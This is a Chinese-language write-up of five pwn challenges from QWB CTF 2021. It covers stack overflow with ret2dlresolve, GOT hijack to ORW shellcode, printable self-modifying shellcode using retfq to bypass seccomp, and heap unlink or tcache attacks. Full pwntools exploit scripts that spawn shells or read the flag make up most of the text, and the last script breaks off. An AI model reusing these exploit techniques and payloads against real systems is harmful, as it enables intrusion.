0%

强网杯CTF2021

no_output

1
2
3
4
5
6
test: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=42055570bc1508252eacc21b95b83f8c002483eb, for GNU/Linux 3.2.0, stripped
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • 32位,dynamically,NX

漏洞分析

简单栈溢出

1
2
3
4
5
6
ssize_t read_s()
{
char buf[68]; // [esp+0h] [ebp-48h] BYREF

return read(0, buf, 0x100u); // 栈溢出
}

strcpy 会将字符串末尾置空,导致 fdg 被设置为“0”

1
strcpy(nameg, name);

入侵思路

利用 strcpy 的溢出覆盖 fdg 为“0”,通过第二次输入绕过程序的字符串匹配检查

接着就要考虑如何触发浮点异常信号 SIGFPE:

1
2
3
4
5
6
7
8
9
10
v2 = "give me the soul:";
__isoc99_scanf("%d", soul);
v2 = "give me the egg:";
__isoc99_scanf("%d", &egg);
if ( egg )
{
signal(8, (__sighandler_t)read_s);
soul[1] = soul[0] / egg;
signal(8, 0);
}

由于除号两边都是 int 类型,因此 -0x80000000/-1 就会触发漏洞(-0x80000000/-1 的计算结果为 0x80000000,其值为负数,导致符号位溢出)

由于没法泄露,因此只能打 ret2dlresolve

对于32位无 PIE 保护的程序,在 pwntools 中有比较成熟的 ret2dlresolve 工具,直接拿来用就好了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# -*- coding:utf-8 -*-
from signal import pause
from pwn import *

arch = 32
challenge = './test'

context.os='linux'
context.log_level = 'debug'

if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')
context.binary = elf

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b* 0x8049268")
pause()

def cmd(op):
sla(">",str(op))

#debug()
sl("\x00")
sleep(0.2)
p.send("a"*0x20)
sleep(0.2)
sl("hello_boy")
sleep(0.2)
sl("-2147483648")
sleep(0.2)
sl("-1")
sleep(0.2)

bss_addr = 0x804C080+0x200
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])

rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
print(rop.dump())

raw_rop = rop.chain()
sl(flat([{76:raw_rop}]))
sl(dlresolve.payload)

p.interactive()

orw

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
1
2
3
4
5
6
7
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=02a3c09af5900983d07486d2b3310dffcebfde86, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
  • 64位,dynamically,Partial RELRO,Canary,PIE
1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
  • 白名单,只能打 ORW

漏洞分析

index 缺乏检查,导致 chunk_list 可以向上溢出:

1
2
3
4
5
6
chunk_list[index] = malloc(size);
if ( !chunk_list[index] )
{
puts("error");
exit(0);
}

入侵思路

程序的限制比较多:

  • add 可以执行2次,dele 可以执行1次
  • 每次输入的 size 大小不超过8字节,index 大小不超过1(可以为负数)

由于 index 可以为负数,可以尝试向上溢出,能够劫持的地方只有两处:GOT,IO_FILE

1
2
98:04c0│  0x564531002060 (malloc@got.plt) —▸ 0x7fa488599180 (malloc) ◂— push   rbp
99:04c8│ 0x564531002068 (setvbuf@got.plt) —▸ 0x7fa488584e80 (setvbuf) ◂— push rbp
1
2
a2:05100x5645310020b0 —▸ 0x7fa4888d98e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
a3:05180x5645310020b8 ◂— 0x0

往 GOT 写入堆地址似乎没有什么用,劫持 IO_FILE 的话输入的字节数又太少

后来突然意识到一点:写入 GOT 的堆中数据可能会被执行(没有 NX),有些 wp 上也是利用这一点进行入侵

但经测试发现这些数据没有执行权限,vmmap 打印的 heap 段也没有显示x权限

1
2
3
pwndbg> vmmap 0x555555605160
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555605000 0x555555626000 rw-p 21000 0 [heap] +0x160

一番查找后得知:某些旧版本的操作系统可能不支持或不启用NX位,在这种情况下,即使关闭了NX位,堆仍然不会具有执行权限

接下来的思路就简单了,往 GOT 写入并执行8字节的指令,共有2次机会

其中最适合写指令的 GOT 表条目就是 atoi got

1
2
readn(nptr, 16LL);
return atoi(nptr);
1
2
0x555555400e29    call   atoi@plt                <atoi@plt>
nptr: 0x7fffffffdc20 ◂— 0x31 /* '1' */

因为栈也是有执行权限的,如果在 atoi got 中写入 jmp rdi 就可以劫持控制流到栈上,然后执行一个 sys_read 就可以写入 ORW 的 shellcode

由于 heap 权限的问题没有解决,我这里只能参考网上的 exp 大概写一下

非完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.23.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

c = "set exec-wrapper env 'LD_PRELOAD=./libc-2.23.so'\nrun\nb *$rebase(0xE29)\n"
local = 1
if local:
#p = process(challenge)
p = gdb.debug(challenge,c)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,c)
pause()

def cmd(op):
sla(">>",str(op))

def add(index,size,data):
cmd(1)
if(type(index) == int):
sla("index:",str(index))
else:
sla("index:",index)
sla("size:",str(size))
sla("content:",data)

def dele(index):
cmd(4)
if(type(index) == int):
sla("index:",str(index))
else:
sla("index:",index)

add("-14",0x8,asm("jmp rdi"))

shellcode_open = shellcraft.pushstr("flag") + shellcraft.open("rsp")
shellcode_read = shellcraft.read("rax","rsp",60)
shellcode_write = shellcraft.write(1,"rsp",60)
print(len(shellcode_open))
print(len(shellcode_read))
print(len(shellcode_write))

shellcode_magic = asm("xor rax,rax;mov dl,0x80;mov rsi,rbp;push rax;pop rdi;syscall;jmp rbp")
cmd(shellcode_magic)

p.send(asm(shellcode_open+shellcode_read+shellcode_write))

p.interactive()

shellcode

1
2
3
4
5
6
shellcode: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,NX
1
2
3
4
5
6
7
8
9
0000: 0x20 0x00 0x00 0x00000000  A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0007
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
  • 白名单,要考虑 retfq 切换32位架构绕过 seccomp

漏洞分析

直接执行 shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
size = sys_read(0, shellcode, 0x1000uLL);
size2 = size;
if ( shellcode[(int)size - 1] == 0xA )
{
shellcode[(int)size - 1] = 0;
size2 = size - 1;
}
for ( i = 0; i < size2; ++i )
{
if ( shellcode[i] <= 0x1F || shellcode[i] == 0x7F )
goto LABEL_10;
}
((void (*)(void))shellcode)();
  • 现在 shellcode 的范围为 (0x1f,0x7f)

入侵思路

程序对输入的 shellcode 有检查,建议用 nasm 手动编写 shellcode

可以利用 shellcode 创造一个 sys_read 绕过 shellcode 的检查,但在实际构造的过程中遇到了很多问题,最大的问题但就是无法使用 syscall(类似于 mov,add 之类的指令也会被过滤掉)

后来调试网上的 wp 发现了解决的办法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
append = '''
push rdx
pop rdx
'''

shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''

shellcode = ""
shellcode += shellcode_read
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
  • 直接输入 syscall 会被检测出来,但通过 xor byte ptr[rax+offset],cl 就可以将后面的二进制代码给计算为 syscall
  • 对于这种会检查 shellcode 的程序来说,破解的关键点就是要利用合适的汇编指令来修改 shellcode 本身

利用这个技巧可以获取到 syscall,但由于程序没法泄露,因此先执行 sys_mmap 申请一段固定位置的缓冲区,然后执行 sys_read 将数据写入其中:

1
2
3
4
5
6
7
0x7f6fba0ee031    syscall  <SYS_mmap>
addr: 0x40404040
len: 0x7e
prot: 0x7
flags: 0x22
fd: 0x0 (pipe:[270462])
offset: 0x0
1
2
3
4
0x7f6fba0ee057    syscall  <SYS_read>
fd: 0x0 (pipe:[270462])
buf: 0x40404040 ◂— 0
nbytes: 0x70

最后的步骤就是 retfq 切换32位架构来绕过 seccomp 了

  • 指令 retfq 有两步操作:pop ip,pop cs(retf 是32位的 pop,retfq 是64位的 pop)
    • cs=0x23 程序以32位模式运行
    • cs=0x33 程序以64位模式运行

只要按照如下方法步骤 shellcode 就可以完成切换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
shellcode_retfq = '''
push rbx
pop rax

xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
  • 正常写入的 retfq 指令会被程序过滤,但还是可以通过 sub byte ptr[rax+offset],cl 进行调整

在绕过 seccomp 后还是会因为没有 wrire 而打印不出 flag,因此只能通过 cmp 汇编指令来区别内存中的 flag,将 flag 爆破出来(类似于 SCTF-gadget 的思路)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './shellcode'

context.os='linux'
#context.log_level = 'debug'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

def debug():
#gdb.attach(p)
gdb.attach(p,"b *0x40026D\n")
pause()

def cmd(op):
sla(">",str(op))

append = '''
push rdx
pop rdx
'''

shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''

shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''

shellcode_retfq = '''
push rbx
pop rax

xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

#debug()
def pwn(p,index,ch):
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''

shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''

shellcode = ""
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')

sl(shellcode)
sleep(0.3)

if index == 0:
shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-3;ret".format(index,ch)
else:
shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-4;ret".format(index,ch)

shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux')
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = shellcode_x86 + 0x29*b'\x90' + shellcode_flag

sl(shellcode)

index = 0
a=[]
while True:
for ch in range(0x20,127):
local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')
pwn(p,index,ch)
start = time.time()
try:
p.recv(timeout=2)
print("".join([chr(i) for i in a]))
except:
pass
end=time.time()
p.close()
if end-start>1.5:
a.append(ch)
print("".join([chr(i) for i in a]))
break
else:
print("".join([chr(i) for i in a]))
break
index = index + 1
print("".join([chr(i) for i in a]))

p.interactive()

baby_diary

1
2
3
4
5
6
baby_diary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=664bd170fa1869d1e8bae262af76385c91c3e97d, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.

漏洞分析

整数溢出:

1
chunk_list[i] = (char *)malloc(size + 1);

负数溢出:

1
2
3
index = input();
if ( check(index) )
printf("content: %s\n", (const char *)chunk_list[index]);

有 off-by-one 漏洞:

1
2
3
4
chunk = chunk_list[index];
size_list[index] = len;
if ( len )
chunk[len + 1] = (chunk[len + 1] & 0xF0) + code2(index);
  • 可以控制 chunk[len + 1]0x0-0xf

入侵思路

本题目的核心点就是无泄露 unlink,对于所有的无泄漏 unlink 都可以考虑如下的堆风水:

  • 获取两个 unsorted chunk 进行合并,其中的第二个 chunk 末地址必须为 \x00(遗留下 FD BK 指针)
  • 重新申请大 unsorted chunk 后释放(不破坏原来的 heap 结构),然后再次进行分割,使第二个 chunk 的末尾地址为 \x30 或者 \x40 \x50 等等(有一定偏移的地址都可以)
  • 之后利用 unsortedbin 进行调整,在 FD->bk 和 BK->fd 中写入 \x30,然后覆盖为 \x00

不过本题目有点特殊,在具体的堆风水在构建时需要作出微调,可以参考如下的泄露脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
add(0x418) #0
add(0x210) #1
add(0x428) #2
add(0x438) #3
add(0x378,"8"*0x10) #4
add(0x428) #5
add(0x208) #6

dele(0)
dele(3)
dele(5)
dele(2)

add(0x440,0x427*"\x00"+"\x0e") #0
dele(0)
add(0x440,0x426*"\x00"+"\x01") #0
add(0x418) #3 0x2b0

add(0x418) #2 0xd20 - over \x00 to bk/fd
add(0x428) #5 0x370

dele(3) # 0x2b0 - bk=0xd20
dele(2) # 0xd20

add(0x418,'\x00'*7+"\x0d"+"\n") #2 修复fd->bk(低位覆盖\x00)
add(0x418) #3

dele(3) # 0xd20
dele(5) # 0x350 - fd=0xd20

add(0x9f8) #3 make 0x350 to large
add(0x428,"\n") #5 修复bk->fd(低位覆盖\x00)

dele(6)
add(0x208,0x208*"\x00")

dele(6)
add(0x208,0x1ff*"\x00"+"\x0e")

add(0x418) #7
add(0x208) #8

dele(3)
add(0x430,flat(0,0,0,p64(0x421))) #3
add(0x1600) #9

show(4)
ru(" content: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ec210
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

最后调整一下堆风水,劫持 tcache attack 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# -*- coding:utf-8 -*-
from signal import pause
from pwn import *

arch = 64
challenge = './baby_diary1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x17D7)\n")
#pause()

def cmd(op):
sla(">>",str(op))

def add(size,data="\n"):
cmd(1)
sla(" size:",str(size-1))
sla(" content: ",data)

def show(index):
cmd(2)
sla("index:",str(index))

def dele(index):
cmd(3)
sla("index:",str(index))

#debug()

add(0x418) #0
add(0x210) #1
add(0x428) #2
add(0x438) #3
add(0x378,"8"*0x10) #4
add(0x428) #5
add(0x208) #6

dele(0)
dele(3)
dele(5)
dele(2)

add(0x440,0x427*"\x00"+"\x0e") #0
dele(0)
add(0x440,0x426*"\x00"+"\x01") #0
add(0x418) #3 0x2b0

add(0x418) #2 0xd20 - over \x00 to bk/fd
add(0x428) #5 0x370

dele(3) # 0x2b0 - bk=0xd20
dele(2) # 0xd20

add(0x418,'\x00'*7+"\x0d"+"\n") #2 修复fd->bk(低位覆盖\x00)
add(0x418) #3

dele(3) # 0xd20
dele(5) # 0x350 - fd=0xd20

add(0x9f8) #3 make 0x350 to large
add(0x428,"\n") #5 修复bk->fd(低位覆盖\x00)

dele(6)
add(0x208,0x208*"\x00")

dele(6)
add(0x208,0x1ff*"\x00"+"\x0e")

add(0x418) #7
add(0x208) #8

dele(3)
add(0x430,flat(0,0,0,p64(0x421))) #3
add(0x1600) #9

show(4)
ru(" content: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ec210
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))
success("system >> "+hex(system))

add(0x208,0x100*"\x00")
add(0x208,0x100*"\x00")
add(0x208,0x100*"\x00")
dele(4)
dele(11)
dele(12)
dele(6)

payload = 0x178*"\x00"+p64(0x211)+p64(free_hook)+p64(free_hook)
add(0x300,payload)

add(0x208,"/bin/sh\x00")
add(0x208,p64(system))
dele(6)

p.interactive()

babypwn

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
1
2
3
4
5
6
babypwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=721c84a30c78ecb82a98a6d484d884a502b54fd6, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
  • 禁用 execve

漏洞分析

程序在 edit 完后会将所有的 0x11 置空,但是没有限制范围:

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall change(char *chunk)
{
while ( *chunk )
{
if ( *chunk == 0x11 )
{
*chunk = 0;
return;
}
++chunk;
}
}
  • 有 off-by-null 漏洞

入侵思路

程序的泄露模块需要逆向,先进行一波分析:

1
2
3
for ( i = 2; i > 0; --i )
a1 ^= (32 * a1) ^ ((a1 ^ (32 * a1)) >> 17) ^ (((32 * a1) ^ a1 ^ ((a1 ^ (32 * a1)) >> 17)) << 13);
return printf("%lx\n", a1);

直接使用 z3 求解,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def decode(target):
a1 = BitVec("a1",32)
x = Solver()
for i in range(2):
a1 ^= (32 * a1) ^ LShR((a1 ^ (32 * a1)),17) ^ (((32 * a1) ^ a1 ^ LShR((a1 ^ (32 * a1)),17)) << 13)
x.add(target == a1)
if(x.check()==sat):
model = str(x.model())
print(model)
pos, val = model.split('=')[:2]
re = eval(val[:-1])

print(hex(re))
return re
  • 这里弄了好久,最后发现 z3 不能直接左移,要用对应的函数 LShR

泄露 heap_base 很容易就能打 unlink 实现堆重叠,程序开了沙盒,需要使用堆上 ORW 的技术:

  • 限制了 size 大小(难以打 largebin attack),但通过劫持 tcache 可以打 IO
  • 也可以通过 TLS 泄露栈地址,然后劫持 tcache 打栈

这里我选择了后者(一般来说,程序如果限制 size 为 unsorted chunk 则选择前者,限制 size 为 tcache 就选择后者)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
# -*- coding:utf-8 -*-
from pwn import *
from z3 import *

arch = 64
challenge = './babypwn1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0xFCB)\n")
pause()

def cmd(op):
sla(">>>",str(op))

def add(size): # 17
cmd(1)
sla("size:",str(size))

def dele(index):
cmd(2)
sla("index:",str(index))

def edit(index,data):
cmd(3)
sla("index:",str(index))
sla("content:",data)

def show(index):
cmd(4)
sla("index:",str(index))

def decode(target):
a1 = BitVec("a1",32)
x = Solver()
for i in range(2):
a1 ^= (32 * a1) ^ LShR((a1 ^ (32 * a1)),17) ^ (((32 * a1) ^ a1 ^ LShR((a1 ^ (32 * a1)),17)) << 13)
x.add(target == a1)
if(x.check()==sat):
model = str(x.model())
print(model)
pos, val = model.split('=')[:2]
re = eval(val[:-1])

print(hex(re))
return re

add(0xe0)
show(0)
ru("\n")
leakaddr = eval(b"0x"+ru("\n"))
leakaddr1 = decode(leakaddr)
leakaddr = eval(b"0x"+ru("\n"))
leakaddr2 = decode(leakaddr)

leakaddr = leakaddr1 + leakaddr2 * 0x100000000
heap_base = leakaddr - 0x670
success("leakaddr >> "+hex(leakaddr))
success("heap_base >> "+hex(heap_base))

add(0x108)#0
